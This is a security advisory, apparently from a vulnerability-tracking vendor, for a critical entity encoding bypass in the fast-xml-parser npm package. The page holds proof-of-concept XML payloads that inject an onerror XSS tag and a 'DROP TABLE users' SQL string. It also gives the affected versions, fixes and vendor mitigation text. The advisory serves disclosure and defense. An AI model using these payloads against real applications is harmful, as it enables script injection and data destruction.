GHSA-m7jm-9gc2-mpf2
CRITICALfast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
fast-xml-parsernpmDescription
Entity encoding bypass via regex injection in DOCTYPE entity names
Summary
A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.
Details
The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.
In DocTypeReader.js, entity names are passed directly to RegExp():
entities[entityName] = {
regx: RegExp(`&${entityName};`, "g"),
val: val
};
An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.
The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:
// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+"; // no dot
Shadowing all 5 built-in entities
| Entity name | Regex created | Shadows |
|---|---|---|
l. | /&l.;/g | < |
g. | /&g.;/g | > |
am. | /&am.;/g | & |
quo. | /&quo.;/g | " |
apo. | /&apo.;/g | ' |
PoC
const { XMLParser } = require("fast-xml-parser");
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
<text>Hello <b>World</b></text>
</root>`;
const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>
No special parser options needed - processEntities: true is the default.
When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.
& can be shadowed too:
const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&Brien'</root>`;
const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'
Impact
This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.
- Default config, no special options
- Attacker can replace any
</>/&/"/'with arbitrary strings - Direct XSS vector when parsed XML content is rendered in a page
- v5 and v6 both affected
Suggested fix
Escape regex metacharacters before constructing the replacement regex:
const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
regx: RegExp(`&${escaped};`, "g"),
val: val
};
For v6, add . to the blacklist in validateEntityName:
const specialChar = "!?\\/[].{}^&*()<>|+";
Severity
CWE-185 (Incorrect Regular Expression)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)
Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | fast-xml-parser | ≥ 5.0.0&&< 5.3.5 | 5.3.5 |
| 📦npm | fast-xml-parser | ≥ 4.1.3&&< 4.5.4 | 4.5.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fast-xml-parser. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update fast-xml-parser to 5.3.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m7jm-9gc2-mpf2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-m7jm-9gc2-mpf2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-m7jm-9gc2-mpf2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-m7jm-9gc2-mpf2 in your dependencies?
O3 detects GHSA-m7jm-9gc2-mpf2 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.